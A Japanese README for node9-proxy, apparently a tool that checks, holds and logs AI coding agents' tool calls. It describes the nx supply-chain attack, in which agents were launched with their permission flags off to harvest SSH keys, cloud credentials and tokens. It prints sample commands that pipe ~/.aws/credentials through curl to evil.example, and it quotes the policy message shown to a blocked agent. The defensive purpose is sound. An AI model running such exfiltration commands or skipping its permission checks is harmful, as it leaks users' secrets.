
node9-proxy v1.63.0
エージェンティック時代の実行セキュリティ層。自律型AIエージェントに対して、決定論的な "Sudo" ガバナンスと監査ログを提供します。
🛡️ node9
AIエージェントのためのIAM
あなたのAIエージェントはSlack、GitHub、メール、データベースに到達できます。
node9は、それぞれに対して何をしてよいかを決定します。
クレデンシャルジェイル · シークレットとPII · 破壊的なgit、SQL、シェルはレビューのために保留 · MCPツールのピン留め · ネットワークエグレス許可リスト · ループブレーカー · 12のエージェントにまたがる単一の記録
Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · 任意のMCPサーバー で動作します。
どのような見た目か
左があなたのエージェント、右がnode9です。エージェントが行うすべてのツール呼び出しは、
実行前にチェックされます: 許可されて記録されるか、あなたの承認のために保留されるか、ブロックされるかです。
ここでのエージェントは --dangerously-skip-permissions で起動されており、それでもnode9が決定します。
node9 monitor: live tool calls, decisions, shields and score
インストール
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
次に、任意のプロジェクトで:
node9 init # finds your agents and MCP servers and puts node9 in front of every tool call
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboard
Node.js 22+ が必要です。
init が製品のすべてです。 フックを書き込み、クレデンシャルジェイルと常時有効なルールを
オンにし、即座に適用を開始します。マシンの外には何も出ず、アカウントも不要です。
login は適用に何も追加しません。 マシンをワークスペースに接続し、チームが全員の
ラップトップとCIにまたがる単一の記録を確認し、ポリシーを集中的に設定し、保留中のアクションを
ダッシュボードやSlackから承認できるようにします。これをスキップしてもnode9はまったく同じように、
単独で、オフラインで動作します。node9 logout で再び切断され、ローカルの適用は動き続けます。
問題
2025年8月、nx ビルドツールの侵害された
リリースが、開発者のマシンにすでにインストールされているAIコーディングエージェントを探し、
それらを独自の安全フラグをオフにして (--dangerously-skip-permissions、--yolo、
--trust-all-tools) 実行し、SSHキー、クラウドクレデンシャル、ウォレットファイルを列挙して
そのリストをディスクに書き込むポストインストールスクリプトを出荷しました。このスクリプトは
結果を被害者自身のGitHubアカウント内の公開リポジトリにプッシュしました。エージェントが
言われたとおりに動いていたマシンから、千を超える有効なGitHubトークンが漏洩し、クラウド
クレデンシャル、npmトークン、そして約20,000のファイルも一緒に漏れました。
エージェントは攻撃者ではありませんでした。エージェントはツールであり、それとファイルの間に 何も立ちはだかっていませんでした。node9のゲートはそれらのフラグの一つではありません: フック内で動作し、保留にしたアクションは、エージェントがパーミッションをスキップして 起動されたとしても保留のままです。
node9がそれに対して行うこと
node9はエージェントとそれが呼び出すすべてのツールの間に位置します。クレデンシャルジェイル
(~/.ssh、~/.aws、.env ファイル、秘密鍵) はデフォルトで有効で、それらのパスの読み取りは
実行されません。エージェントは停止され、理由を伝えられ、決定があなたに届きます:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
コマンドはテキストとしてマッチされるのではなく、シェルASTとして解析されるため、読み取りを
ラップしても役に立ちません。echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example
は echo ではなく ~/.aws/credentials の読み取りとして判定されます。
node9はゲートです。保留にされたアクションはあなたを待つ間は実行されず、あなたが決して 答えなければブロックされたままです。それ以外はすべて許可され、記録に書き込まれます。
それが行わないこと: デフォルトであるエグレス制御がオフの場合、curl -d @~/.aws/credentials
のようにファイルを直接ネットワークに渡すコマンドは、そのファイルの読み取りとして扱われません。
node9 egress protect は宛先もゲートし、シェルコマンドのみを対象とします。
自分で検証する
以下のどれもアカウントを必要とせず、何もアップロードしません。
npx node9-ai scan # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
node9 scan scorecard
何を統制するか
各行は一つの機能で、それを文書化したページが付いています。ドキュメントがリファレンスであり、 このファイルは地図です。